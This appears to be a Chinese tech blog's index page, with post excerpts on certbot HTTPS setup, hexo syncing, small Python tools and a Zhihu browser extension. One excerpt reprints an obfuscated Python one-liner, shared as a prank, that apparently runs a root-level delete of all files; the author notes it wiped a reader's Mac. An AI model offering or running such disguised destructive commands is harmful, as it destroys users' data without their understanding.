hello, world.

记录下通过 Lets’s Encrypt 开启 HTTPS 加成的步骤。这里以 Ubuntu16.04 + nginx 为例。我原本服务器 nginx 就已经配置好对应的域名,这里略过。

首先,安装 certbot :

1
2
3
sudo add-apt-repository ppa:certbot/certbot
sudo apt-get update
sudo apt-get install python-certbot-nginx

开放 443 端口,先检查下防火墙:

1
sudo ufw status

如果防火墙没有打开,是这样的:

1
2
xlzd$ sudo ufw status
Status: inactive

那就什么也不管就好。如果开了,大概输出是这样:

1
2
3
4
5
6
7
Status: active
To Action From
-- ------ ----
OpenSSH ALLOW Anywhere
Nginx HTTP ALLOW Anywhere
OpenSSH (v6) ALLOW Anywhere (v6)

如果防火墙处于打开状态,执行一下:

1
sudo ufw allow 'Nginx Full'

然后就可以生成证书了:

1
sudo certbot --nginx -d fuckthe.app -d www.fuckthe.app

第一次执行的时候,会提示你输入一个邮箱地址。

等执行成功之后,会看到大概这样的输出:

1
2
3
4
5
6
7
8
Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.
-------------------------------------------------------------------------------
1: No redirect - Make no further changes to the webserver configuration.
2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
new sites, or if you're confident your site works on HTTPS. You can undo this
change by editing your web server's configuration.
-------------------------------------------------------------------------------
Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 1

选 2 即可,会被自动写入到 nginx 配置中去。

在 crontab 中配置一下自动更新证书:

1
2
30 2 * * 1 /usr/bin/certbot renew --dry-run >> /var/log/le-renew.log
35 2 * * 1 /usr/bin/nginx -s reload

下次再要加新域名的时候,只需继续执行 sudo certbot --nginx -d domain.com 就可以啦~

Done.

Read More

把博客迁移到 hexo 后,开始考虑如何同步 hexo 的配置和数据,以便在多台电脑上无痛无缝切换。

解决思路:GitHub。

如果需要定制 theme,最好将对应的 theme fork 到自己的 GitHub 中,对 theme 的修改都同步到自己 fork 的仓库中去。方便管理自己对 theme 的修改。

首先在 hexo 根目录下初始化仓库,并将 themes 中对应的 theme 通过 git submodule 管理:

1
2
3
4
5
6
7
8
$ cd xlzd.github.io
$ git init
$ git checkout -b hexo-source
$ git add .
$ git commit -m "init hexo source"
$ git remote add origin git@github.com:xlzd/xlzd.github.io.git
$ git submodule add git@github.com:xlzd/hexo-theme-freemind.386.git themes/freemind.386
$ git push origin hexo-source

在另一台机器上:

1
2
3
4
5
6
7
$ git clone git@github.com:xlzd/xlzd.github.io.git
$ cd xlzd.github.io
$ git checkout hexo-source
$ git submodule init
$ git submodule update
$ npm install
$ hexo generate && hexo server
Read More
post @ 2017-11-21

这篇博客将之前写过的一些爬虫相关的文章整理一个列表。
由于上一份工作中写了大量的爬虫,顺便写了几篇入门级的爬虫相关文章,本来计划再多写点爬虫相关高难度技巧的,但是不想再碰爬虫,就作罢了。

这里将过去写过的相关文章列举如下,以后应该再也不碰爬虫相关的任何问题了(声明:由于时间原因,所以不保证文中的方法现在依然可用,也不保证其准确性,仅供参考~):

从上面文中的很多地方都可以看出,我给自己挖了好多坑,准备之后再填上,不过就目前来看,我暂时并不打算填坑了~~~

Read More
post @ 2017-11-11

由于一道不存在的墙,在十九大期间我的 VPS 被墙了,导致大半个月博客无法正常访问,所以干脆将博客从自己的 VPS 改回 GitHub Pages 上。毕竟已经过了折腾的年龄,还是使用简单方便的 hexo 吧~~~

之前博客写了不少,虽然质量不高,但是好歹是自己过去的总结,我会迁移少量内容到新的博客中来,但是大部分都不会转移过来了,友链中有以前博客的链接(可能无法正常访问),有兴趣的朋友还可以点进去看看~~~

好啦,先说这些吧~~~

hello, world.

Read More

名字取得有点标题党了,就在刚刚,闲的无聊,通过微博接口和 Pushbullet 接口做了一个近实时关注别人的小工具。
具体原理比较简单,就是不断轮询微博接口,发现有新的微博的时候,通过 Pushbullet 的接口推送消息到手机和电脑。

Pushbullet 是一个跨平台的消息推送工具,可以很方便将消息在各端间传递,同时也提供了 API 接口供通过程序调用。PYPI 上有一个 pushbullet.py 的库对它的 API 做了封建,可以更简单方便地使用,这里用到的功能比较简单:

1
2
3
4
from pushbullet import Pushbullet
pb = Pushbullet(API_KEY)
pb.push_note(title, body)

这样可以将消息发送到 API_KEY 对应帐号登录的所有设备,API_KEY 通过登录后如下截图中页面的「Create Access Token」创建。

create-access-token

Read More

闲得无聊,写了个程序,将一张图片转换成一个 HTML 页面。
如图,左边是原图,右边是一个 HTML 页面,根据文字颜色不同拼出了左边的图片:

原始图片 转换后

(注意:右图可不是图片,而是一个 HTML 页面

1
2
3
4
5
6
7
8
9
___ __ __ ___
__ /'___`\ /\ \ /\ \__ /\_ \
/\_\ ___ ___ __ /\_\ /\ \ \ \ \___ \ \ ,_\ ___ ___ \//\ \
\/\ \ /' __` __`\ /'_ `\ \/_/// /__ \ \ _ `\ \ \ \/ /' __` __`\ \ \ \
\ \ \ /\ \/\ \/\ \ /\ \L\ \ // /_\ \ \ \ \ \ \ \ \ \_ /\ \/\ \/\ \ \_\ \_
\ \_\\ \_\ \_\ \_\\ \____ \ /\______/ \ \_\ \_\ \ \__\\ \_\ \_\ \_\ /\____\
\/_/ \/_/\/_/\/_/ \/___L\ \ \/_____/ \/_/\/_/ \/__/ \/_/\/_/\/_/ \/____/
/\____/
\_/__/

我把这个程序叫做「img2html」,并上传到了 PYPI,所以,你可以直接这样安装:

1
pip install img2html

具体调用方式上,可以直接命令行调用,也可以通过代码调用,具体使用方式写在了 GitHub 的 README 上:img2html

代码逻辑非常简单,将图片每 N*N 个像素合并成一个像素,并取这 N*N 像素的平均值当做合成的像素的颜色,然后渲染为 HTML 页面中对应位置的文字颜色。代码中虽然使用了 4 个 for 语句,但是其实只是遍历了图片中每个像素一次。

Read More

之前在知乎看到一个问题:「一行 Python 代码可以实现什么丧心病狂的功能?」,我看着好玩,写了一个答案:

1
2
> (lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))
>

OS X、Linux 有效,需要管理员权限执行,效果感人。

作者:xlzd
链接:https://www.zhihu.com/question/37046157/answer/101660005
来源:知乎
著作权归作者所有,转载请联系作者获得授权。

原本只是一个恶搞的小玩笑,没想到真的有一个小伙伴试过了这行代码。然后,他的 Mac 被删光了所有东西……

那么,这行代码是如何做到的呢?

Read More

这段是废话

P.S. 这是一篇非常基础的文章,如果你有相关基础,请不必浪费时间阅读。写这篇文章的初衷是收到知友私信问到了怎么讲自己写的程序发布到 PyPI,与其回复一个人的私信,不如写出来供所有初学的人参考参考。
PyPI 的全称是「Python Package Index」,官方介绍如是说:

The Python Package Index is a repository of software for the Python programming language. There are currently 102159 packages here.

托管到 PyPI 的仓库,可以方便地通过 easy_install 或 pip 来安装和更新。比如,你直接「 pip install tornado 」就可以方便地安装 tornado 了。

概念性的东西,就一笔带过吧。这篇博客中,我将以发布一个名为「jujube_pill」的包到 PyPI 为例,从头到尾讲解如何将自己的程序发布到 PyPI。

Read More

xart: generate art ascii texts. Version WTFPL License

xart is a pure Python library that provides an easy way to generate art ascii texts. Life is short, be cool.

1
2
3
4
5
6
██╗ ██╗ █████╗ ██████╗ ████████╗
╚██╗██╔╝██╔══██╗██╔══██╗╚══██╔══╝
╚███╔╝ ███████║██████╔╝ ██║
██╔██╗ ██╔══██║██╔══██╗ ██║
██╔╝ ██╗██║ ██║██║ ██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
Read More

zhfishhook 知乎鱼钩


简介

知乎上存在大量钓鱼问题,比如:

  • 胸大真的自信吗? - 钓鱼(广义的)
  • 为什么翘臀那么吸引人,女生如何练翘臀? - 钓鱼(广义的)
  • 怎么搭配丝袜优雅不低俗? - 钓鱼(广义的)
  • ……

这些问题都有大量上钩的鱼爆照,同时也滋生了诸如「轮带逛」、「葡带逛」之类点赞带逛行为。然而,在浏览钓鱼问题的时候,存在一个极不好的体验:爆照与爆照之间或许间隔着许多文字回答,读图的连贯性被破坏了

这个插件旨在解决这个问题,当打开一个有图片的知乎问题页面时,左上角会显示如下按钮:

p1.png

当按下按钮之后,页面则会变成如下效果:

p2.png

继续翻页:

p3.png


快捷键

如果通过键盘操作,则有以下快捷键:

按键 作用
s 进入或退出图片浏览模式
esc 退出图片浏览模式
上一张图片
下一张图片

插件下载

下载链接:https://raw.githubusercontent.com/xlzd/zhfishhook/master/release/zhfishhook.crx

安装请参考之前的知乎专栏:「云拉黑」是什么 - xlzd杂谈 - 知乎专栏


后续功能

  • 加载更多
  • 自动播放模式
  • 推荐阅读(推荐热门钓鱼问题)
  • 欢迎建议
Read More
⬆︎TOP